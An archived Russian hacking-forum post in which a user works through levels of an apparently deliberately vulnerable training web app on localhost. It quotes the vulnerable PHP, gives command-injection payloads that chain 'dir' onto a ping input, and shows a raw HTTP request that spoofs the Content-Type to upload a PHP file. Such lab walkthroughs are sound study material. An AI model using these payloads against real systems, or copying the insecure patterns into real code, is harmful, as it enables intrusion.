ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #15  
Старый 06.01.2010, 20:21
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

Посмотрел площадку. Ничего лишнего. сорец с табличной уязвимостью, которую и искать даже не надо. Лучше потратить время с большой пользой используя не тренировочную площадку, а боевую.
Все же поигрался в нее(В sql inj, file upload, LFI/RFI, comand exec). Вот что наигарал.
Начал с comand exec.
Задача сводится к тому, чтобы вспонить альтернативу рзделялке "&&" for win; ";" for linux
Проходил на винде.
LOW:
Код:
<?php
if (isset($_POST["submit"])) {
		$target = $_REQUEST["ip"];
	
		echo "<pre>";
		echo shell_exec("ping  " . $target);
		echo "</pre>";
		}
?>
Решение
ip=127.0.0.1 && dir
MED
Код:
<?php
	if (isset($_POST["submit"])) {
		$target = $_REQUEST["ip"];
			
		$target = str_replace("&&", "", $target);
		$target = str_replace(";", "", $target);

		echo "<pre>";
		echo shell_exec("ping  " . $target);
		echo "</pre>";
		}
?>
Решение
Вместо && можно юзать &
ip=127.0.0.1 & dir
HIGH
Код:
<?php
if (isset($_POST["submit"])) {
		$target = $_REQUEST["ip"];
	
		$target = str_replace("&&", "", $target);
		$target = str_replace(";", "", $target);
		$target = str_replace("-", "", $target);
		$target = str_replace("?", "", $target);
		$target = str_replace("||", "", $target);
		$target = str_replace("|", "", $target);
		$target = stripslashes($target);
		
		if ($target == ""){}	
		else{	
		echo "<pre>";
		echo shell_exec("ping  " . $target);
		echo "</pre>";
		}
		}
?>
Фильтр на & Нету. Т.Е решение то же самое что и для MED
Посмотрел еще upload
LOW
без комментов
MED
Код:
<?php
	if (isset($_POST['Upload'])) {

			$target_path = "uploads/";
			$target_path = $target_path . basename($_FILES['uploaded']['name']); 
			$uploaded_name = $_FILES['uploaded']['name'];
			$uploaded_type = $_FILES['uploaded']['type'];
			$uploaded_size = $_FILES['uploaded']['size'];

			if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
				

				if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
					echo '<pre>Your image was not uploaded.</pre>';
      				} else {
					echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
					} 	
			}
			else{
				echo '<pre>Your image was not uploaded.</pre>';
			}
		}
?>
Скрипт требует чтобы
$_FILES['uploaded']['type'] был "image/jpeg".
Решение:
Не хитро обходится. Тайп можно сменить. Отправляем php-шный файл и сниффаем пакет. У меня получилось так.
Код:
POST /dvwa/upload.php HTTP/1.0
User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/dvwa/upload.php
Cookie: security=medium
Cookie2: $Version=1
Proxy-Connection: close
Content-Type: multipart/form-data; boundary=----------Wq88LdnEt7BT8nll12ssLT
Content-Length: 397

------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
Content-Type: application/octet-stream

<? phpinfo(); ?>
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="Upload"

Upload
------------Wq88LdnEt7BT8nll12ssLT--
изменяем его следующим образом:
Код:
POST /dvwa/upload.php HTTP/1.0
User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/dvwa/upload.php
Cookie: security=medium
Cookie2: $Version=1
Proxy-Connection: close
Content-Type: multipart/form-data; boundary=----------P6JvptCJ2eLEJPIrEFeNot
Content-Length: 397

------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
Content-Type: image/jpeg

<? phpinfo(); ?>
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="Upload"

Upload
------------P6JvptCJ2eLEJPIrEFeNot--
Результат: fuck.php succesfully uploaded!

High
Код:
<?php
if (isset($_POST['Upload'])) {

			$target_path = "uploads/";
			$target_path = $target_path . basename($_FILES['uploaded']['name']); 
			$uploaded_name = $_FILES['uploaded']['name'];
			$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
			$uploaded_size = $_FILES['uploaded']['size'];

			if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
				

				if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
					echo '<pre>Your image was not uploaded.</pre>';
      				} else {
					echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
					} 	
			}
			else{
				echo '<pre>Your image was not uploaded.</pre>';
			}
		}

?>
Не разобрался.
Еще пытался найти решение на sql inj
Код:
<?php	
	// Retrieve data

	$id = $_GET['id'];
	$id = stripslashes($id);
	$id = mysql_real_escape_string($id);

	if (is_numeric($id)){

	$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
	$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

	$num=mysql_numrows($result);

	$i=0;

	while ($i < $num) {

		$first=mysql_result($result,$i,"first_name");
		$last=mysql_result($result,$i,"last_name");
		
		echo "<pre>ID: $id<br>First name: $first<br>Surname: $last</pre>";

		$i++;
	}
	}
?>
Тоже не понял,как эту систему пройти. Если кто разберется, отпишите.
LFI/RFI не стал писать, там уж совсем просто.

Последний раз редактировалось The matrix; 06.01.2010 в 20:24..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Отсылка Sms с помощью электронной почты novichok Сотовый фрикинг 22 07.04.2006 03:48
Защита Web приложений с помощью Apache и mod_security k00p3r Чужие Статьи 0 12.06.2005 20:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ